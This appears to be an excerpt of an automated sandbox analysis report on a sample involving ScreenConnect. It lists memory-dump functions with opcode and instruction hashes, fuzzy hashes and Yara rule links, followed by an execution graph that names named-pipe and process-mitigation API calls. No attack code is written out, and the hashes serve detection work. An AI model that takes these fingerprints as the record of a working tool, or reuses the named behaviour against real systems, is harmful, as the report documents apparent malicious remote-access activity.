                                                                                          • Opcode ID: 6adaeb03423f0e916a732fd1788880022a0331c3d68565bc6eed89e3a436fa9d
                                                                                          • Instruction ID: 4a2dc8ee08525e97bf94e22564fa7a0d807073554304f1a5d3477d8380655297
                                                                                          • Opcode Fuzzy Hash: 6adaeb03423f0e916a732fd1788880022a0331c3d68565bc6eed89e3a436fa9d
                                                                                          • Instruction Fuzzy Hash: EEF0A725B0846447EA486EB9702413D2B83FBD42517604529D506DB3C4DE39AD0263C5
                                                                                          Function 04556330 Relevance: .0, Instructions: 34COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: cb9eae0614fc574b5f433620c3a94e886ca1b2c1bb574a38148604e1aab32d43
                                                                                          • Instruction ID: d0504c1369d6f31db6b88f42d1c8b9679ea2aa14056ff9f8089662b023be1bfd
                                                                                          • Opcode Fuzzy Hash: cb9eae0614fc574b5f433620c3a94e886ca1b2c1bb574a38148604e1aab32d43
                                                                                          • Instruction Fuzzy Hash: BDF0A771205A016FD301CB1CDC949DB7FA9EF462647058066F84DDB252EA31D9038764
                                                                                          Function 04551788 Relevance: .0, Instructions: 34COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4a08cb848c96058898ac51aacd4940efa46516bfd746f463fe637f6ff969051c
                                                                                          • Instruction ID: 716549b7345635f5e1f60481ebc797cc758961a3c0f91aca35d6751fb88b7c7e
                                                                                          • Opcode Fuzzy Hash: 4a08cb848c96058898ac51aacd4940efa46516bfd746f463fe637f6ff969051c
                                                                                          • Instruction Fuzzy Hash: 54F0E2727402085B83119A6FA85096BFBCAFBC4651300842AE50AD7314EE60FC144790
                                                                                          Function 04554CF0 Relevance: .0, Instructions: 33COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 086e7252e00d7285bce1007725c9ab255eb98fb83515efe98931a5016e81fef9
                                                                                          • Instruction ID: 506170ccce7b68db96da262f6360d1b0e04d6f0b3acd7044ba7db09f1169543e
                                                                                          • Opcode Fuzzy Hash: 086e7252e00d7285bce1007725c9ab255eb98fb83515efe98931a5016e81fef9
                                                                                          • Instruction Fuzzy Hash: 98F0AFB094934EAFCB109B64E52576BFFB0EB42740F00882AD5119B295CBB82599DB91
                                                                                          Function 04557220 Relevance: .0, Instructions: 33COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 3d455cf977607600ffd0fbdbc02b2fba7b36f49172be85da17b8a561d154f96a
                                                                                          • Instruction ID: a4c02c48f16e223d9902e8add1e12bfe3f2b0650ccb5a0beff1f454218279992
                                                                                          • Opcode Fuzzy Hash: 3d455cf977607600ffd0fbdbc02b2fba7b36f49172be85da17b8a561d154f96a
                                                                                          • Instruction Fuzzy Hash: 66F0A0323012008FD3148F18E584A957BE6EF89B24F4680AAE4098B7B2DB72EC43CB40
                                                                                          Function 04554D00 Relevance: .0, Instructions: 32COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 147bab21579f1047683a485b0cb713147043df033516e01dc15dc99561e3d770
                                                                                          • Instruction ID: 7294d30fbe7d16c50984d395e3499ccf13a33ea25a86532bcf271c04fad93490
                                                                                          • Opcode Fuzzy Hash: 147bab21579f1047683a485b0cb713147043df033516e01dc15dc99561e3d770
                                                                                          • Instruction Fuzzy Hash: EBF04FB0D4420EAFCB00DE64E92576AFBB4FB46354F004866D610D7254DB782559DF81
                                                                                          Function 045516B8 Relevance: .0, Instructions: 29COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: a68e7b2ed982e9a0a913341245b2eef59414d74b062219cc6b0bb70c55bb98e2
                                                                                          • Instruction ID: bfc1a4631d27c87e049d7db46639970f165de908f346ea3d7b524c6b2d196561
                                                                                          • Opcode Fuzzy Hash: a68e7b2ed982e9a0a913341245b2eef59414d74b062219cc6b0bb70c55bb98e2
                                                                                          • Instruction Fuzzy Hash: 06E0AB757092481FC300872EACA05A7FBEADBC6224B0404BAC40CC7263C9368C82C790
                                                                                          Function 04556F21 Relevance: .0, Instructions: 26COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 7f691f4e97410d33670a77859c75b362427e714cce12fca13f70e089394792c9
                                                                                          • Instruction ID: fdf32f3974c4beb1986ee1f67690fbd89dba0879e438af38cf7c96c8e989bca0
                                                                                          • Opcode Fuzzy Hash: 7f691f4e97410d33670a77859c75b362427e714cce12fca13f70e089394792c9
                                                                                          • Instruction Fuzzy Hash: B3E039B2D001248F8B84DFA8D8410EEBBF0EF58310B60816AC818E7221E23147038BD5
                                                                                          Function 045575F0 Relevance: .0, Instructions: 26COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 6875372422f54372c54619bd3ff21a8bdbfca01a837f18f25f381232ccd45825
                                                                                          • Instruction ID: e15eccb630c494bbc00d582e8d1768dc6a0682a97bbdc88d31e3d9674cf89d94
                                                                                          • Opcode Fuzzy Hash: 6875372422f54372c54619bd3ff21a8bdbfca01a837f18f25f381232ccd45825
                                                                                          • Instruction Fuzzy Hash: 6DE01A75E50114DFCB80EFBC98465EDBBF4EF08690B2084A6D809D7621E231AA069BC0
                                                                                          Function 04550448 Relevance: .0, Instructions: 25COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4ec7f8d4f7ad96649529c2341a6507f2399b18a4b848b4648ceeaa5d6090d1ca
                                                                                          • Instruction ID: 0e94e52073517b4a9bd2a8f1ca3c78f13cc256db9ae032357a3cf2b44f1a317b
                                                                                          • Opcode Fuzzy Hash: 4ec7f8d4f7ad96649529c2341a6507f2399b18a4b848b4648ceeaa5d6090d1ca
                                                                                          • Instruction Fuzzy Hash: 68F0F871E00219CF8B40DFADD90069EFBF5EF49200B148066D918E7211E731AA12CFC0
                                                                                          Function 045516C8 Relevance: .0, Instructions: 25COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d2bb15206ac268cbaeb7a1752d1bbb424cf8a5486d26a976a0038f0190c83c20
                                                                                          • Instruction ID: 90c27b3f8c0c618ee0f59e7f2a68b16f275d6b5da477d51d60e00d642849718d
                                                                                          • Opcode Fuzzy Hash: d2bb15206ac268cbaeb7a1752d1bbb424cf8a5486d26a976a0038f0190c83c20
                                                                                          • Instruction Fuzzy Hash: 66E086727052055BC314962AE850A57F3AADBC9664B104879950CD7355CD769C838690
                                                                                          Function 04557230 Relevance: .0, Instructions: 25COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: bf8c146d017bb8bfc4032acd8809676ade83e44f154feb02be6563f2a9920ce7
                                                                                          • Instruction ID: a9bea7c444dbd426448b9950c3557830ba7a6cc643333210de8ac1203525719a
                                                                                          • Opcode Fuzzy Hash: bf8c146d017bb8bfc4032acd8809676ade83e44f154feb02be6563f2a9920ce7
                                                                                          • Instruction Fuzzy Hash: FCE09231340200CFC3149B19D144D16BBEAEFC9724F1584A9E5098B771CB72FC42CB80
                                                                                          Function 04552D70 Relevance: .0, Instructions: 24COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 72edf8fab27b387d3d2bcc0b4374b247295bb6ed782691d78c96d6036d416eb8
                                                                                          • Instruction ID: c7aa4792fea945e8234ff57b22aac5d16a7bca505ab754be85f4859e76a6766a
                                                                                          • Opcode Fuzzy Hash: 72edf8fab27b387d3d2bcc0b4374b247295bb6ed782691d78c96d6036d416eb8
                                                                                          • Instruction Fuzzy Hash: C0E0D874D4A249BFC700DB68ED859CDBFB5EF4120470004D9D508DB216D7305F05A791
                                                                                          Function 04557587 Relevance: .0, Instructions: 24COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 38da7c4703d57e6e51cf13d0519917bb982a2f39026b9b3c6bba4501955794cf
                                                                                          • Instruction ID: 9000a12f575430ea523d78b38794cdc8aeff8d20caf5415c42da88251c147bf6
                                                                                          • Opcode Fuzzy Hash: 38da7c4703d57e6e51cf13d0519917bb982a2f39026b9b3c6bba4501955794cf
                                                                                          • Instruction Fuzzy Hash: 05E0DF70A0520DAFCB01DF74E9419CCBBF5FF42204B0082A9C809E7602DA316E0ADB51
                                                                                          Function 0455047C Relevance: .0, Instructions: 22COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 200ab322aea5fdb48d0b3a1eb1ec3c0ab1268c0f7508780cfefe85ddccae204a
                                                                                          • Instruction ID: acc89e58788e48d4af30074ad4cfd3e0b67be743440fb6dd8b87782e1b714cfe
                                                                                          • Opcode Fuzzy Hash: 200ab322aea5fdb48d0b3a1eb1ec3c0ab1268c0f7508780cfefe85ddccae204a
                                                                                          • Instruction Fuzzy Hash: EFE0DF71B00025CF8B14DF69A5001AEB7E1FF887113008061F811CB3A4EA74DE11DB90
                                                                                          Function 04556F30 Relevance: .0, Instructions: 20COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: fa926553dbea9c7a5430891b9108979a3f16cc4d36da4f487aa00aa9d94c7079
                                                                                          • Instruction ID: 8fbc4fd617932ec1ddbb6e33f1346f335672af7b99eee810748474188b8fd977
                                                                                          • Opcode Fuzzy Hash: fa926553dbea9c7a5430891b9108979a3f16cc4d36da4f487aa00aa9d94c7079
                                                                                          • Instruction Fuzzy Hash: C4E0B671E002299F8B80EFADD9015AEFBF4EF48210B5084AAD91CE7201E3319B128FC1
                                                                                          Function 0455087E Relevance: .0, Instructions: 19COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 6116f5c2515acd0aa998ea9850a4e7e6b73cad58853d5c87c8c353c62594b6a3
                                                                                          • Instruction ID: 7afbad93c3bfd779318b40521eaa31110ee1560287663d5fc4b4de1dff0a94fa
                                                                                          • Opcode Fuzzy Hash: 6116f5c2515acd0aa998ea9850a4e7e6b73cad58853d5c87c8c353c62594b6a3
                                                                                          • Instruction Fuzzy Hash: AFD05E753901109FD704DB28E995C667BE9EF89B24715C0A5FD0CCB362CAA1FC029BD0
                                                                                          Function 04552932 Relevance: .0, Instructions: 19COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 9a4675f8e7fe13cb901235a8be1a5cb56a9af43c4a224566fcec357267b48466
                                                                                          • Instruction ID: 2d848498afe7c75480d5a1407851e25cb6eb94d0d992413389b92d6047361e6c
                                                                                          • Opcode Fuzzy Hash: 9a4675f8e7fe13cb901235a8be1a5cb56a9af43c4a224566fcec357267b48466
                                                                                          • Instruction Fuzzy Hash: 00E0EC3AB04505CFCB00CA58F4605A9B3F1FB8D265F1044E6E906D7334D631ED519F50
                                                                                          Function 04556488 Relevance: .0, Instructions: 18COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 3e43c8c82662c13f59230a8ae8c7a3411cb30570401e933ed53200851105c475
                                                                                          • Instruction ID: 129d7b834dc2fabadf6d2d576c6731cf664acf65f7cd208b77462682a584265f
                                                                                          • Opcode Fuzzy Hash: 3e43c8c82662c13f59230a8ae8c7a3411cb30570401e933ed53200851105c475
                                                                                          • Instruction Fuzzy Hash: 6FD05E343601144FC744E738D44486E73DAAF889643518464D50DCB321EE21EC0147D1
                                                                                          Function 04550880 Relevance: .0, Instructions: 18COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: ac4a641ec2b74468572a05da14d67b9cf7d97eec46666b0567cb603b36511a42
                                                                                          • Instruction ID: 7dc1b4da99b94cec0fb8ec40111f4d536de1887126c4666a3310dd73d510e197
                                                                                          • Opcode Fuzzy Hash: ac4a641ec2b74468572a05da14d67b9cf7d97eec46666b0567cb603b36511a42
                                                                                          • Instruction Fuzzy Hash: E8D05E753502149FD704DB29D955C2677E9EF89B14715C0A5F908CB362CAA1FC018AD0
                                                                                          Function 04550AA0 Relevance: .0, Instructions: 18COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 7f4da9ffc6fca5f5990c05a16fa82072d28529f4f3455ce11e769a57646f402f
                                                                                          • Instruction ID: e62f5426cab3465208040f32bbe80fcfbf93b73787296c60c820300448d2eafc
                                                                                          • Opcode Fuzzy Hash: 7f4da9ffc6fca5f5990c05a16fa82072d28529f4f3455ce11e769a57646f402f
                                                                                          • Instruction Fuzzy Hash: 19E0C2318487888FC301BB78E8A44E9BF38DED1311B00868FE8895B052FB7491C6D391
                                                                                          Function 04552D80 Relevance: .0, Instructions: 16COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 3b54b256ea381c59fa5fdec52d97a2d4041d33d89f62c4104d69523c64887631
                                                                                          • Instruction ID: 10ab4de980831bada67eb344a24fbcaccf28e6fa1223c5ba7a64fdd15177d46a
                                                                                          • Opcode Fuzzy Hash: 3b54b256ea381c59fa5fdec52d97a2d4041d33d89f62c4104d69523c64887631
                                                                                          • Instruction Fuzzy Hash: 66D01775E0120DFFCB04EFA8EA4499DBBF9EF44205B1045A89609E7310EB316E04AB90
                                                                                          Function 04552944 Relevance: .0, Instructions: 16COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: bc0e0c9602d330ddaf3c362a86a3ebb223a09facddd5c4ce57a42516939f43ea
                                                                                          • Instruction ID: a822dac33effaf1d30e3a087d6053d993c1e097be0aa2a69add6f2b6c787627e
                                                                                          • Opcode Fuzzy Hash: bc0e0c9602d330ddaf3c362a86a3ebb223a09facddd5c4ce57a42516939f43ea
                                                                                          • Instruction Fuzzy Hash: 4FD09E3AB40515CF8704CA59E490499B3F1FF8D25571041A6E919D7334D731ED128B40
                                                                                          Function 04557598 Relevance: .0, Instructions: 16COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b2af259de5f59154ecb7fe8762a167423cbc671cab47f8d4f7d11c5161b6ef4d
                                                                                          • Instruction ID: a5570cf81d3ca5a7bb972b3515989594bae74360f645d4ac67950bf99217bfc7
                                                                                          • Opcode Fuzzy Hash: b2af259de5f59154ecb7fe8762a167423cbc671cab47f8d4f7d11c5161b6ef4d
                                                                                          • Instruction Fuzzy Hash: 92D01770A0020DEFCB00DFA8E94099DBBF9FF45244B1045A8D408E3200EA32AE08AB90
                                                                                          Function 04551720 Relevance: .0, Instructions: 16COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: e6a61de0cc36c2cc7cecd1f1f0fb5c9dc2d5803211a660c4c71c711aeb43382f
                                                                                          • Instruction ID: 48525a29740203b7e9cf82e8f9b814c5b70eab6cf97b6e51799a4fe95f71a542
                                                                                          • Opcode Fuzzy Hash: e6a61de0cc36c2cc7cecd1f1f0fb5c9dc2d5803211a660c4c71c711aeb43382f
                                                                                          • Instruction Fuzzy Hash: 9BD01771A0520DEFCB00DFA8E95059DF7B9EB46205B5086A9D908E3300EA31AE04AB80
                                                                                          Function 045538C8 Relevance: .0, Instructions: 16COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 0b5419562616e5cba0b23635f3811d5a5fe973bccd8deffb29a63f7652d659f8
                                                                                          • Instruction ID: 94fa2b1551ee0d0d1873723f09c512364e38a8ec17676fe7ab4d0a63f0192dcd
                                                                                          • Opcode Fuzzy Hash: 0b5419562616e5cba0b23635f3811d5a5fe973bccd8deffb29a63f7652d659f8
                                                                                          • Instruction Fuzzy Hash: 32D017B0A0420CEFCB00DFA8E98099DF7B9FB45254B1045B9D809E3300EB31AE04EB80
                                                                                          Function 04550AB0 Relevance: .0, Instructions: 12COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: e4f25e0628a0035f54fcf100b54bb1a40163d3e245b2f71626d07908f5d7c872
                                                                                          • Instruction ID: 2b1658faaf632f13c2040528d6eb668311d77c6ddf81f7b7e44ea1244377faa7
                                                                                          • Opcode Fuzzy Hash: e4f25e0628a0035f54fcf100b54bb1a40163d3e245b2f71626d07908f5d7c872
                                                                                          • Instruction Fuzzy Hash: 48D0C932814B4D8AC701BBB8E4544A9B7B8EED5210F10CA5EE88E67125FF70E6D0D681
                                                                                          Function 04554C90 Relevance: .0, Instructions: 9COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 2a7fbbac2b0c313135c94cb335e2ced01d99b3dd780d5b948fc77b95845fd369
                                                                                          • Instruction ID: be2edee371b4c75c8c91342ef25d39a63e065ec3cdf57f16212544f87e7e85d4
                                                                                          • Opcode Fuzzy Hash: 2a7fbbac2b0c313135c94cb335e2ced01d99b3dd780d5b948fc77b95845fd369
                                                                                          • Instruction Fuzzy Hash: FAC04C5544EBC01DD713826018505536FA8594341078A84CA88D58B553C00CB51AE371

                                                                                          Non-executed Functions

                                                                                          Function 01874D2F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • RtlGetVersion.NTDLL(0000009C), ref: 01874DBE
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2940695517.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_1870000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: Version
                                                                                          • String ID: `Q^q
                                                                                          • API String ID: 1889659487-1948671464
                                                                                          • Opcode ID: a6c687d0181cdff9600a6691216878646f956f541af8f27bc6a73a5c89e4743b
                                                                                          • Instruction ID: 2ff7e5e53182f6a2a7bd43f8902ad1ef92474cb030921fca257297d999b57309
                                                                                          • Opcode Fuzzy Hash: a6c687d0181cdff9600a6691216878646f956f541af8f27bc6a73a5c89e4743b
                                                                                          • Instruction Fuzzy Hash: C8214875A00269DFEF60CF18D804B99FBB9FB45310F1085D9D54CA7250CB756A98CF92

                                                                                          Execution Graph

                                                                                          Execution Coverage:8%
                                                                                          Dynamic/Decrypted Code Coverage:100%
                                                                                          Signature Coverage:0%
                                                                                          Total number of Nodes:11
                                                                                          Total number of Limit Nodes:1
                                                                                          execution_graph 24234 7ffd9b407fc4 24235 7ffd9b407fcd 24234->24235 24236 7ffd9b408032 24235->24236 24237 7ffd9b4080a6 SetProcessMitigationPolicy 24235->24237 24238 7ffd9b408102 24237->24238 24239 7ffd9b4035e2 24240 7ffd9b4257a0 CreateNamedPipeW 24239->24240 24242 7ffd9b4258d3 24240->24242 24243 7ffd9b403602 24244 7ffd9b425940 ConnectNamedPipe 24243->24244 24246 7ffd9b4259f2 24244->24246

                                                                                          Executed Functions

                                                                                          Function 00007FFD9B7236BD Relevance: 2.7, Strings: 1, Instructions: 1413COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: (
                                                                                          • API String ID: 0-3887548279
                                                                                          • Opcode ID: 0629cfed27a8cc47808c74b021fb0bb2a43c5f357120a88931d482fa1a9a232b
                                                                                          • Instruction ID: b7961f5c5ddf44bfdd6c59d71d4ef9d292d6e6cea48b303969cfa97afb1c0c24
                                                                                          • Opcode Fuzzy Hash: 0629cfed27a8cc47808c74b021fb0bb2a43c5f357120a88931d482fa1a9a232b
                                                                                          • Instruction Fuzzy Hash: 61B22C71E0E7CA4FE376976488266E53FE0EF56310F0606FDD4898B1F3DA186A0A8751
